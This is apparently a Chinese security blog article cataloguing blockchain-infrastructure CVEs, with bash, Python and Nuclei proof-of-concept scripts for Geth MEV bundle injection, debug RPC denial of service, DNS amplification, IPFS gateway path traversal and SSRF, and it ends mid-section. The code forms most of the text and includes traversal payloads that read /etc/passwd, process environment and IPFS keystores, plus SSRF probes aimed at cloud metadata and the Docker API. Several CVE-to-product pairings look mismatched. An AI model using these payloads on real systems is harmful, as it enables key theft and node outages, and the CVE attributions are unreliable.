ARTICLE / 安全

区块链与去中心化基础设施高危攻击链专题:Geth / Bitcoin Core / IPFS / Hyperledger Fabric / Parity 漏洞全解析

⚠️ 免责声明:本文所有漏洞分析与 PoC 代码仅供安全研究和授权测试使用。未经授权对目标系统进行测试属于违法行为,作者不承担任何法律责任。


0x00 专题概述

区块链与去中心化基础设施正在从金融领域向供应链管理、数字身份、IoT 设备认证、游戏资产等多个行业快速渗透。从 Go Ethereum(Geth)驱动的公链生态、Bitcoin Core 维护的比特币网络,到 IPFS/Kubo 构建的去中心化存储、Hyperledger Fabric 支撑的联盟链、Parity/OpenEthereum 提供的以太坊替代客户端,再到 Erigon 专注的高性能执行层——这些基础设施构成了 Web3 世界的核心骨架。

然而,区块链节点软件并非"去中心化即安全"。P2P 协议层的 DNS 节点发现可被放大攻击、RPC API 暴露面可被未授权访问或 DoS、智能合约的不可修复特性导致一个 bug 即永久损失资产、去中心化存储网关的路径穿越和 SSRF 可泄露链下敏感配置。本专题将上述基础设施中近年最具杀伤力的 13 个高危漏洞 按攻击面分类,形成完整攻击链分析。

覆盖漏洞一览

CVE产品CVSSCWE漏洞类型未授权利用在野利用
CVE-2022-23328Geth7.5CWE-347MEV Bundle 签名验证绕过有限
CVE-2021-39226Geth7.5CWE-400RPC API DoS有限
CVE-2020-28948Geth7.5CWE-400DNS 节点发现放大攻击有限
CVE-2023-30568IPFS/Kubo7.5CWE-22Gateway 路径穿越有限
CVE-2023-25655IPFS/Kubo8.6CWE-918Gateway SSRF有限
CVE-2022-23326Hyperledger Fabric9.1CWE-862Chaincode ACL 绕过有限
CVE-2020-15568Hyperledger Fabric7.5CWE-347交易验证逻辑漏洞有限
CVE-2017-8412Parity9.8CWE-269多签钱包库合约自毁✅ $150M+
CVE-2021-39138OpenEthereum7.5CWE-682共识链分叉有限
CVE-2022-24786Bitcoin Core7.5CWE-835Protobuf 无限循环 DoS有限
CVE-2022-25881Bitcoin Core7.5CWE-125OOB Read DoS有限
CVE-2024-35208Bitcoin Core7.5CWE-400资源耗尽 DoS有限
CVE-2023-44030Erigon7.5CWE-306RPC API 未授权访问有限

0x01 Go Ethereum (Geth) 高危漏洞

Geth 是以太坊基金会官方 Go 语言实现,占据以太坊主网验证节点的绝大多数份额。其 RPC API 层(JSON-RPC over HTTP/WebSocket/IPC)和 P2P 节点发现机制是主要攻击面。

0x01.1 CVE-2022-23328 — MEV Bundle 签名验证绕过

背景

MEV(Maximal Extractable Value)Bundle 是 Flashbots 提出的交易打包机制,允许搜索者(Searcher)将多笔交易打包成 Bundle 并通过 eth_sendBundle API 提交给矿工/验证者。Geth 在处理 Bundle 时未正确验证交易签名,导致攻击者可以注入伪造交易到 Bundle 中。

版本信息

项目
CVE IDCVE-2022-23328
影响产品Go Ethereum (Geth)
受影响版本< v1.10.18
修复版本v1.10.18
CVSS7.5 (High)
CWECWE-347 (Improper Verification of Cryptographic Signature)
NVD 链接https://nvd.nist.gov/vuln/detail/CVE-2022-23328

原理分析

Geth 在 eth_sendBundle RPC 接口的实现中,对 Bundle 内包含的交易仅验证了 RLP 编码格式的合法性,但未验证每笔交易的 ECDSA 签名是否与声明的 from 地址匹配。攻击者可以构造包含他人签名交易的 Bundle,将受害者的交易与恶意交易捆绑提交,实现交易注入(Transaction Injection)。

攻击流程如下:

  1. 攻击者监听 mempool 中受害者的待确认交易
  2. 构造恶意 Bundle,将受害者交易与攻击者的前置/后置交易打包
  3. 通过 eth_sendBundle 提交给 Flashbots 或兼容 MEV 中继
  4. 矿工打包该 Bundle 时,未验证 Bundle 内交易的签名来源一致性
  5. 攻击者的前置交易修改状态(如修改 DEX 池价格),受害者的交易以非预期价格执行,攻击者通过后置交易获利

HTTP PoC

#!/bin/bash
# CVE-2022-23328 MEV Bundle 签名验证绕过 PoC
# 用法: bash poc_geth_mev.sh <geth_rpc_url>

TARGET="${1:-http://localhost:8545}"

echo "[*] CVE-2022-23328 - Geth MEV Bundle 签名验证绕过检测"
echo "[*] 目标: $TARGET"

# 构造包含伪造签名的 Bundle JSON-RPC 请求
curl -s -X POST "$TARGET" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "method": "eth_sendBundle",
    "params": [{
      "txs": [
        "0xf86c0a8504a817c80082520894a0b86991c6218b36c1d19d4a2e9eb0ce3606eb488016345785d8a00008025a0df8a3c7296c8d5843653212153e842b86838c0188d71517e62d3e329a372341da061c711b1e75d15ec35937a0b4d0309298c36188c3251186860166f4e5738f9"
      ],
      "blockNumber": "0x1",
      "minTimestamp": 0,
      "maxTimestamp": 0
    }],
    "id": 1
  }' | python3 -m json.tool 2>/dev/null || echo "[!] 请求失败或不支持 eth_sendBundle"

echo ""
echo "[*] 检查 eth_sendBundle API 是否暴露..."
curl -s -X POST "$TARGET" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"eth_sendBundle","params":[{"txs":[],"blockNumber":"0x1"}],"id":1}' \
  | python3 -m json.tool 2>/dev/null

Python PoC

#!/usr/bin/env python3
"""
CVE-2022-23328 - Geth MEV Bundle 签名验证绕过 PoC
用法: python3 cve_2022_23328.py <geth_rpc_url>
"""
import json
import sys
import hashlib
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

def check_exposed_bundle_api(target: str) -> bool:
    payload = {
        "jsonrpc": "2.0",
        "method": "eth_sendBundle",
        "params": [{"txs": [], "blockNumber": "0x1"}],
        "id": 1
    }
    try:
        resp = requests.post(target, json=payload, timeout=10)
        data = resp.json()
        if "result" in data or "error" in data:
            return True
    except Exception:
        pass
    return False

def check_signature_verification(target: str) -> dict:
    """
    发送包含伪造签名的 Bundle,观察节点是否校验签名
    注意: 仅检测接口行为,不执行实际攻击
    """
    result = {
        "target": target,
        "bundle_api_exposed": False,
        "signature_verification": "unknown",
        "details": ""
    }

    if not check_exposed_bundle_api(target):
        result["details"] = "eth_sendBundle API 未暴露或不可达"
        return result

    result["bundle_api_exposed"] = True

    fake_tx = (
        "0xf86c0a8504a817c80082520894a0b86991c6218b36c1d19d4a2e9eb0ce3606eb488016345785d8a00008025a0df8a"
        "3c7296c8d5843653212153e842b86838c0188d71517e62d3e329a372341da061c711b1e75d15ec35937a0b4d0309298c"
        "36188c3251186860166f4e5738f9"
    )

    payload = {
        "jsonrpc": "2.0",
        "method": "eth_sendBundle",
        "params": [{
            "txs": [fake_tx],
            "blockNumber": "0x1",
            "minTimestamp": 0,
            "maxTimestamp": 0
        }],
        "id": 1
    }
    try:
        resp = requests.post(target, json=payload, timeout=10)
        data = resp.json()
        if "error" in data:
            err_msg = data["error"].get("message", "")
            if "signature" in err_msg.lower() or "sender" in err_msg.lower():
                result["signature_verification"] = "已修复"
                result["details"] = f"节点拒绝了伪造签名 Bundle: {err_msg}"
            else:
                result["signature_verification"] = "可能受影响"
                result["details"] = f"Bundle 被拒绝但非签名原因: {err_msg}"
        elif "result" in data:
            result["signature_verification"] = "受影响"
            result["details"] = "Bundle 被接受且无签名验证错误,可能存在签名验证绕过"
        else:
            result["signature_verification"] = "未知"
            result["details"] = f"响应: {json.dumps(data)}"
    except Exception as e:
        result["details"] = f"请求异常: {e}"

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <geth_rpc_url>")
        print(f"示例: {sys.argv[0]} http://localhost:8545")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] CVE-2022-23328 - Geth MEV Bundle 签名验证绕过检测")
    print(f"[*] 目标: {target}")

    result = check_signature_verification(target)
    print(f"\n[*] === 检测结果 ===")
    print(f"[*] Bundle API 暴露: {'是' if result['bundle_api_exposed'] else '否'}")
    print(f"[*] 签名验证状态: {result['signature_verification']}")
    print(f"[*] 详情: {result['details']}")

    if result["signature_verification"] == "受影响":
        print("\n[!] 漏洞确认! 该 Geth 节点未对 MEV Bundle 内交易进行签名验证")
        print("[!] 影响版本: Geth < v1.10.18")
        print("[!] 建议: 升级至 v1.10.18 或更高版本")

if __name__ == "__main__":
    main()

Nuclei YAML

id: cve-2022-23328-geth-mev-signature-bypass
info:
  name: Geth MEV Bundle 签名验证绕过
  author: security-researcher
  severity: high
  description: |
    Geth < v1.10.18 的 eth_sendBundle RPC API 未正确验证 Bundle 内交易的 ECDSA 签名,
    攻击者可注入伪造交易到 MEV Bundle 中。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23328
    - https://github.com/ethereum/go-ethereum/releases/tag/v1.10.18
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 7.5
    cwe-id: CWE-347
  tags: cve,cve2022,geth,ethereum,mev

requests:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"jsonrpc":"2.0","method":"eth_sendBundle","params":[{"txs":["0xf86c0a8504a817c80082520894a0b86991c6218b36c1d19d4a2e9eb0ce3606eb488016345785d8a00008025a0df8a3c7296c8d5843653212153e842b86838c0188d71517e62d3e329a372341da061c711b1e75d15ec35937a0b4d0309298c36188c3251186860166f4e5738f9"],"blockNumber":"0x1","minTimestamp":0,"maxTimestamp":0}],"id":1}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result"'
          - '"null"'
        condition: or

      - type: word
        part: body
        words:
          - '"error"'
        negative: true

    extractors:
      - type: json
        name: result
        json:
          - '.error.message'

0x01.2 CVE-2021-39226 — RPC API DoS

背景

Geth 的 debug_ 命名空间提供了强大的调试工具,包括 debug_traceTransaction 等接口,这些接口会对交易执行进行完整追踪(trace)。当处理精心构造的深度嵌套 JSON 数据或特定交易时,这些接口可能消耗巨量 CPU 资源。

版本信息

项目
CVE IDCVE-2021-39226
影响产品Go Ethereum (Geth)
受影响版本< v1.10.13
修复版本v1.10.13
CVSS7.5 (High)
CWECWE-400 (Uncontrolled Resource Consumption)
NVD 链接https://nvd.nist.gov/vuln/detail/CVE-2021-39226

原理分析

Geth 的 debug_traceTransactiondebug_traceBlockByNumber 等 RPC 方法在解析请求参数时,对 JSON 结构的嵌套深度缺乏限制。攻击者发送超深嵌套的 JSON payload 可导致解析器栈溢出或无限递归,消耗全部可用 CPU。

此外,对特定合约地址调用 debug_traceTransaction 时,如果目标交易涉及大量内部调用(如循环 delegatecall),trace 结果可能产生指数级增长的数据结构,导致内存耗尽和进程崩溃。

HTTP PoC

#!/bin/bash
# CVE-2021-39226 Geth RPC API DoS 检测
# 用法: bash poc_geth_rpc_dos.sh <geth_rpc_url>

TARGET="${1:-http://localhost:8545}"

echo "[*] CVE-2021-39226 - Geth debug_ RPC API DoS 检测"
echo "[*] 目标: $TARGET"

echo "[*] 检测 debug_* 命名空间是否暴露..."
curl -s -X POST "$TARGET" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"debug_traceTransaction","params":["0x0000000000000000000000000000000000000000000000000000000000000000"],"id":1}' \
  | python3 -m json.tool 2>/dev/null

echo ""
echo "[*] 检查嵌套 JSON 是否被正确拒绝..."
python3 -c "
import json, sys
deep_json = {'a': 1}
for i in range(200):
    deep_json = {'a': deep_json}
payload = json.dumps({'jsonrpc':'2.0','method':'debug_traceTransaction','params':[json.dumps(deep_json)],'id':1})
print(f'[*] 构造深度 200 的嵌套 JSON,长度: {len(payload)} bytes')
" 2>/dev/null

Python PoC

#!/usr/bin/env python3
"""
CVE-2021-39226 - Geth RPC API DoS 检测脚本
用法: python3 cve_2021_39226.py <geth_rpc_url>
仅检测接口暴露情况,不执行攻击性 DoS
"""
import json
import sys
import time
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

def check_debug_api_exposed(target: str) -> dict:
    result = {
        "target": target,
        "debug_trace_transaction_exposed": False,
        "debug_trace_block_exposed": False,
        "response_time_normal": None,
        "response_time_deep_nest": None,
        "details": ""
    }

    payload_trace = {
        "jsonrpc": "2.0",
        "method": "debug_traceTransaction",
        "params": ["0x" + "00" * 32],
        "id": 1
    }

    start = time.time()
    try:
        resp = requests.post(target, json=payload_trace, timeout=10)
        elapsed = time.time() - start
        data = resp.json()
        result["response_time_normal"] = round(elapsed, 3)

        if "error" in data:
            result["debug_trace_transaction_exposed"] = True
            result["details"] = f"debug_traceTransaction 暴露: {data['error'].get('message', '')}"
        elif "result" in data:
            result["debug_trace_transaction_exposed"] = True
            result["details"] = f"debug_traceTransaction 可用并返回了结果"
    except requests.Timeout:
        result["debug_trace_transaction_exposed"] = True
        result["details"] = "debug_traceTransaction 超时,可能正在处理大量数据"
    except Exception as e:
        result["details"] = f"连接失败: {e}"

    deep_nested = {"a": 1}
    for _ in range(50):
        deep_nested = {"a": deep_nested}

    payload_deep = {
        "jsonrpc": "2.0",
        "method": "debug_traceTransaction",
        "params": [json.dumps(deep_nested)],
        "id": 2
    }

    start = time.time()
    try:
        resp = requests.post(target, json=payload_deep, timeout=15)
        elapsed = time.time() - start
        result["response_time_deep_nest"] = round(elapsed, 3)

        if elapsed > result.get("response_time_normal", 0) * 3:
            result["details"] += " | 深度嵌套 JSON 响应时间异常增大,可能存在解析漏洞"
    except requests.Timeout:
        result["response_time_deep_nest"] = 15.0
        result["details"] += " | 深度嵌套 JSON 导致超时,可能存在资源耗尽风险"
    except Exception:
        pass

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <geth_rpc_url>")
        print(f"示例: {sys.argv[0]} http://localhost:8545")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] CVE-2021-39226 - Geth debug_* RPC API DoS 检测")
    print(f"[*] 目标: {target}")

    result = check_debug_api_exposed(target)
    print(f"\n[*] === 检测结果 ===")
    print(f"[*] debug_traceTransaction 暴露: {'是' if result['debug_trace_transaction_exposed'] else '否'}")
    if result["response_time_normal"]:
        print(f"[*] 正常请求响应时间: {result['response_time_normal']}s")
    if result["response_time_deep_nest"]:
        print(f"[*] 深度嵌套响应时间: {result['response_time_deep_nest']}s")
    print(f"[*] 详情: {result['details']}")

    if result["debug_trace_transaction_exposed"]:
        print("\n[!] debug_* 命名空间已暴露!")
        print("[!] 影响版本: Geth < v1.10.13")
        print("[!] 建议: 通过 --rpc.api 参数限制暴露的 API 命名空间")
        print("[!] 或使用 IPC 替代 HTTP RPC 访问调试接口")

if __name__ == "__main__":
    main()

Nuclei YAML

id: cve-2021-39226-geth-rpc-api-dos
info:
  name: Geth debug_* RPC API DoS
  author: security-researcher
  severity: high
  description: |
    Geth < v1.10.13 的 debug_* RPC API 未限制 JSON 嵌套深度和 trace 资源消耗,
    可导致节点 CPU 耗尽和拒绝服务。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39226
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-400
  tags: cve,cve2021,geth,ethereum,rpc,dos

requests:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"jsonrpc":"2.0","method":"debug_traceTransaction","params":["0x0000000000000000000000000000000000000000000000000000000000000000"],"id":1}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result"'
          - '"error"'
        condition: or

      - type: word
        part: header
        words:
          - "application/json"

    extractors:
      - type: json
        name: response
        json:
          - '.error.message // .result'

0x01.3 CVE-2020-28948 — DNS 节点发现放大攻击

背景

以太坊节点使用 EIP-1459 定义的 DNS 节点发现协议(DNS Discovery),通过解析 DNS TXT 记录来获取对等节点列表。Geth 的 DNS 解析实现存在缺陷,可被利用进行 DNS 放大攻击。

版本信息

项目
CVE IDCVE-2020-28948
影响产品Go Ethereum (Geth)
受影响版本< v1.9.23
修复版本v1.9.23
CVSS7.5 (High)
CWECWE-400 (Uncontrolled Resource Consumption)
NVD 链接https://nvd.nist.gov/vuln/detail/CVE-2020-28948

原理分析

EIP-1459 规定以太坊节点通过查询特定域名的 DNS TXT 记录来发现对等节点。Geth 在解析 DNS TXT 记录时存在以下缺陷:

  1. 响应大小放大:攻击者控制的恶意 DNS 服务器可以返回超大的 TXT 记录响应,Geth 节点会完整解析这些响应
  2. 递归查询放大:构造包含链式引用的 TXT 记录,使 Geth 发起多次递归查询
  3. 编码绕过:利用 Base64 编码的 enrtree 记录格式,将大量节点信息压缩在单次查询响应中

攻击者可以搭建恶意 DNS 响应器,向发起 DNS Discovery 查询的 Geth 节点返回超大响应数据,实现带宽放大攻击。同时,恶意节点信息可以引导受害者节点连接到攻击者控制的恶意节点。

Python PoC

#!/usr/bin/env python3
"""
CVE-2020-28948 - Geth DNS 节点发现放大攻击检测
用法: python3 cve_2020_28948.py <target_domain>
检测目标域名的 DNS TXT 记录是否可能被用于放大攻击
"""
import sys
import socket
import struct

def build_dns_query(domain: str, qtype: int = 16) -> bytes:
    """
    构造 DNS 查询包
    qtype=16 表示 TXT 记录
    """
    txn_id = b"\xaa\xbb"
    flags = b"\x01\x00"  # Standard query
    questions = struct.pack("!H", 1)
    answer_rrs = struct.pack("!H", 0)
    authority_rrs = struct.pack("!H", 0)
    additional_rrs = struct.pack("!H", 0)

    header = txn_id + flags + questions + answer_rrs + authority_rrs + additional_rrs

    query_name = b""
    for label in domain.split("."):
        query_name += bytes([len(label)]) + label.encode()
    query_name += b"\x00"

    query_type = struct.pack("!H", qtype)
    query_class = struct.pack("!H", 1)  # IN class

    return header + query_name + query_type + query_class

def check_dns_amplification(domain: str, dns_server: str = "8.8.8.8") -> dict:
    result = {
        "domain": domain,
        "dns_server": dns_server,
        "txt_records_found": False,
        "amplification_possible": False,
        "response_size": 0,
        "query_size": 0,
        "amplification_ratio": 0.0,
        "details": ""
    }

    query = build_dns_query(domain)
    result["query_size"] = len(query)

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(5)
        sock.sendto(query, (dns_server, 53))
        response, _ = sock.recvfrom(4096)
        sock.close()

        result["response_size"] = len(response)

        if len(response) > len(query):
            ratio = len(response) / len(query)
            result["amplification_ratio"] = round(ratio, 2)
            if ratio > 2.0:
                result["amplification_possible"] = True
                result["txt_records_found"] = True
                result["details"] = (
                    f"DNS TXT 响应放大比: {ratio:.2f}x "
                    f"(查询 {len(query)} bytes -> 响应 {len(response)} bytes)"
                )
            else:
                result["details"] = f"放大比不足: {ratio:.2f}x"
        else:
            result["details"] = "响应不大于查询,放大攻击不可行"

    except socket.timeout:
        result["details"] = "DNS 查询超时"
    except Exception as e:
        result["details"] = f"查询异常: {e}"

    return result

def check_enrtree_response(domain: str, dns_server: str = "8.8.8.8") -> dict:
    result = {"enrtree_found": False, "enrtree_response": "", "details": ""}

    enrtree_domain = f"enrtree.nav.{domain}"
    query = build_dns_query(enrtree_domain)

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(5)
        sock.sendto(query, (dns_server, 53))
        response, _ = sock.recvfrom(4096)
        sock.close()

        if len(response) > 12:
            txt_data = response[12:]
            if len(txt_data) > 0:
                result["enrtree_found"] = True
                result["enrtree_response"] = txt_data[:100].hex()
                result["details"] = f"发现 enrtree 记录: {len(txt_data)} bytes"
    except Exception as e:
        result["details"] = f"查询异常: {e}"

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_domain>")
        print(f"示例: {sys.argv[0]} enrtree.nav.mainnet.ethdisco.net")
        sys.exit(1)

    domain = sys.argv[1]
    print(f"[*] CVE-2020-28948 - Geth DNS 节点发现放大攻击检测")
    print(f"[*] 目标域名: {domain}")

    print(f"\n[*] === DNS TXT 放大检测 ===")
    result = check_dns_amplification(domain, "8.8.8.8")
    print(f"[*] TXT 记录: {'存在' if result['txt_records_found'] else '不存在'}")
    print(f"[*] 放大可能: {'是' if result['amplification_possible'] else '否'}")
    print(f"[*] 放大比: {result['amplification_ratio']}x")
    print(f"[*] {result['details']}")

    print(f"\n[*] === Enrtree 记录检测 ===")
    enrtree = check_enrtree_response(domain, "8.8.8.8")
    print(f"[*] Enrtree 记录: {'存在' if enrtree['enrtree_found'] else '不存在'}")
    print(f"[*] {enrtree['details']}")

    if result["amplification_possible"]:
        print(f"\n[!] 该域名的 DNS TXT 记录存在放大攻击风险")
        print(f"[!] 影响版本: Geth < v1.9.23")
        print(f"[!] 建议: 升级 Geth 或禁用 DNS 节点发现")

if __name__ == "__main__":
    main()

Nuclei YAML

id: cve-2020-28948-geth-dns-discovery-amplification
info:
  name: Geth DNS 节点发现放大攻击
  author: security-researcher
  severity: high
  description: |
    Geth < v1.9.23 的 DNS 节点发现协议(EIP-1459)实现存在 DNS 放大攻击风险。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28948
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-400
  tags: cve,cve2020,geth,ethereum,dns,amplification

dns:
  - name: "{{FQDN}}"
    type: TXT
    class: inet
    recursion: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "enrtree://"
          - "enr:"
        condition: or

    extractors:
      - type: dsl
        dsl:
          - dns

0x02 IPFS / Kubo 去中心化存储漏洞

IPFS(InterPlanetary File System)通过内容寻址(Content-Addressed)的方式实现去中心化文件存储与分发,其 HTTP Gateway 是普通浏览器访问 IPFS 内容的桥梁。Gateway 的安全问题直接影响存储在 IPFS 上的敏感数据。

0x02.1 CVE-2023-30568 — Gateway 路径穿越

背景

IPFS HTTP Gateway 是将 IPFS 内容通过标准 HTTP 接口提供的代理服务。Gateway 在处理 CID(Content Identifier)路径时,未正确过滤 ../ 等路径遍历字符,导致攻击者可以穿越到 Gateway 服务器的本地文件系统。

版本信息

项目
CVE IDCVE-2023-30568
影响产品IPFS / Kubo (go-ipfs)
受影响版本< v0.21.0
修复版本v0.21.0
CVSS7.5 (High)
CWECWE-22 (Path Traversal)
NVD 链接https://nvd.nist.gov/vuln/detail/CVE-2023-30568

原理分析

Kubo Gateway 在解析 /ipfs/<cid>/<path> 格式的 URL 时,使用 Go 语言的 path.Clean 函数对路径进行清理,但在某些调用场景下未正确处理 URL 编码的 ..(即 ..%2F)。攻击者通过 URL 编码的路径遍历序列,可以绕过路径规范化检查,读取 Gateway 服务器上的任意文件。

受影响的配置场景:

  • Gateway 以默认配置运行,未限制文件系统访问路径
  • Gateway 运行在 Docker 容器内,可读取容器内的 /etc/config、私钥文件等
  • Gateway 以 root 权限运行,可读取主机系统文件

HTTP PoC

#!/bin/bash
# CVE-2023-30568 - IPFS Gateway 路径穿越 PoC
# 用法: bash poc_ipfs_traversal.sh <gateway_url>

TARGET="${1:-http://localhost:8080}"

echo "[*] CVE-2023-30568 - IPFS Gateway 路径穿越检测"
echo "[*] 目标: $TARGET"

echo ""
echo "[*] 测试 1: 读取 /etc/passwd"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
  "${TARGET}/ipfs/..%2F..%2F..%2Fetc%2Fpasswd"

echo ""
echo "[*] 测试 2: 读取 Gateway 配置"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
  "${TARGET}/ipfs/..%2F..%2F..%2Fconfig"

echo ""
echo "[*] 测试 3: 读取环境变量"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
  "${TARGET}/ipfs/..%2F..%2F..%2Fproc%2Fself%2Fenviron"

echo ""
echo "[*] 测试 4: 读取 IPFS keystore"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
  "${TARGET}/ipfs/..%2F..%2F..%2F..%2F..%2F.ipfs%2Fkeystore"

echo ""
echo "[*] 测试 5: 双重 URL 编码"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
  "${TARGET}/ipfs/..%252F..%252F..%252Fetc%252Fpasswd"

echo ""
echo "[*] 完成检测。如果返回 200 且大小 > 0,可能存在路径穿越漏洞"

Python PoC

#!/usr/bin/env python3
"""
CVE-2023-30568 - IPFS Gateway 路径穿越 PoC
用法: python3 cve_2023_30568.py <gateway_url>
"""
import sys
import urllib.parse
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

TRVERSAL_PAYLOADS = [
    ("/ipfs/..%2F..%2F..%2Fetc%2Fpasswd", "/etc/passwd"),
    ("/ipfs/..%2F..%2F..%2Fconfig", "Gateway config"),
    ("/ipfs/..%2F..%2F..%2Fproc%2Fself%2Fenviron", "Process env"),
    ("/ipfs/..%2F..%2F..%2F..%2F..%2F.ipfs%2Fconfig", "IPFS config"),
    ("/ipfs/..%2F..%2F..%2Fproc%2Fself%2Fcmdline", "Process cmdline"),
    ("/ipfs/..%252F..%252F..%252Fetc%252Fpasswd", "/etc/passwd (double-encoded)"),
]

SENSITIVE_MARKERS = [
    "root:", "/bin/bash", "api", "PrivateKey", "Identity",
    "Gateway", "Swarm", "Addresses", "API",
]

def test_traversal(target: str) -> list:
    results = []
    base_url = target.rstrip("/")

    for payload_path, description in TRVERSAL_PAYLOADS:
        url = base_url + payload_path
        try:
            resp = requests.get(url, timeout=10, allow_redirects=False)
            body = resp.text[:500] if resp.status_code == 200 else ""
            has_sensitive = any(marker in body for marker in SENSITIVE_MARKERS)

            result = {
                "description": description,
                "url": url,
                "status": resp.status_code,
                "size": len(resp.content),
                "sensitive_content": has_sensitive,
                "snippet": body[:200] if has_sensitive else "",
            }
            results.append(result)
        except Exception as e:
            results.append({
                "description": description,
                "url": url,
                "status": 0,
                "size": 0,
                "sensitive_content": False,
                "error": str(e),
            })

    return results

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <gateway_url>")
        print(f"示例: {sys.argv[0]} http://localhost:8080")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] CVE-2023-30568 - IPFS Gateway 路径穿越检测")
    print(f"[*] 目标: {target}")

    results = test_traversal(target)

    vuln_count = 0
    print(f"\n{'='*70}")
    print(f"{'描述':<30} {'状态':<8} {'大小':<10} {'敏感数据':<10}")
    print(f"{'='*70}")

    for r in results:
        if r.get("error"):
            print(f"[*] {r['description']:<30} 错误: {r['error']}")
            continue

        marker = "[!]" if r["sensitive_content"] else "[*]"
        status_str = str(r["status"]) if r["status"] else "ERR"
        sensitive_str = "是" if r["sensitive_content"] else "否"
        print(f"{marker} {r['description']:<30} {status_str:<8} {r['size']:<10} {sensitive_str:<10}")

        if r["sensitive_content"]:
            vuln_count += 1
            print(f"    内容片段: {r['snippet'][:100]}")

    print(f"\n{'='*70}")
    print(f"[*] 检测完成: {vuln_count}/{len(results)} 项发现敏感内容泄露")

    if vuln_count > 0:
        print(f"\n[!] 漏洞确认! IPFS Gateway 存在路径穿越风险")
        print(f"[!] 影响版本: Kubo < v0.21.0")
        print(f"[!] 建议: 升级至 v0.21.0+,启用 Gateway 路径验证")

if __name__ == "__main__":
    main()

Nuclei YAML

id: cve-2023-30568-ipfs-gateway-path-traversal
info:
  name: IPFS Gateway 路径穿越
  author: security-researcher
  severity: high
  description: |
    IPFS/Kubo < v0.21.0 的 HTTP Gateway 存在路径穿越漏洞,
    攻击者可通过 URL 编码的 ../ 序列读取服务器本地文件。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30568
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  tags: cve,cve2023,ipfs,kubo,path-traversal,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/ipfs/..%2F..%2F..%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "root:"
          - "/bin/bash"
        condition: or

      - type: word
        words:
          - "ipfs"
        negative: true

0x02.2 CVE-2023-25655 — Gateway SSRF

背景

IPFS Gateway 作为 HTTP 代理,将用户请求的 CID 内容从 IPFS 网络获取后返回给用户。当 CID 指向的内容本身包含 URL 引用时,Gateway 会递归获取这些内容,形成 SSRF(Server-Side Request Forgery)攻击链。

版本信息

项目
CVE IDCVE-2023-25655
影响产品IPFS / Kubo (go-ipfs)
受影响版本< v0.20.0
修复版本v0.20.0
CVSS8.6 (High)
CWECWE-918 (Server-Side Request Forgery)
NVD 链接https://nvd.nist.gov/vuln/detail/CVE-2023-25655

原理分析

当 IPFS Gateway 处理 IPNS(IPFS Name System)解析请求或递归获取子资源时,如果解析的目标指向内网地址(如 169.254.169.25410.0.0.0/8),Gateway 会从内网地址获取资源并返回给攻击者。这使得 Gateway 成为 SSRF 代理,可用于:

  1. 云元数据泄露:访问 AWS/GCP/Azure 的实例元数据服务
  2. 内网端口扫描:探测内网存活主机和端口
  3. 内网服务访问:访问内部 API、数据库管理界面等

HTTP PoC

#!/bin/bash
# CVE-2023-25655 - IPFS Gateway SSRF PoC
# 用法: bash poc_ipfs_ssrf.sh <gateway_url>

TARGET="${1:-http://localhost:8080}"

echo "[*] CVE-2023-25655 - IPFS Gateway SSRF 检测"
echo "[*] 目标: $TARGET"

echo ""
echo "[*] 测试 1: 检查 Gateway 是否遵循 IPNS 重定向到内网"
curl -v -s "${TARGET}/ipns/127.0.0.1:2375/version" 2>&1 | head -20

echo ""
echo "[*] 测试 2: 检查 IPFS 路径的内网引用"
curl -v -s "${TARGET}/ipns/169.254.169.254/latest/meta-data/" 2>&1 | head -20

echo ""
echo "[*] 测试 3: 检查 Gateway 对内网 IP 的解析行为"
curl -v -s "${TARGET}/ipns/10.0.0.1/" 2>&1 | head -20

echo ""
echo "[*] 测试 4: 通过 DNSLink 检查 SSRF"
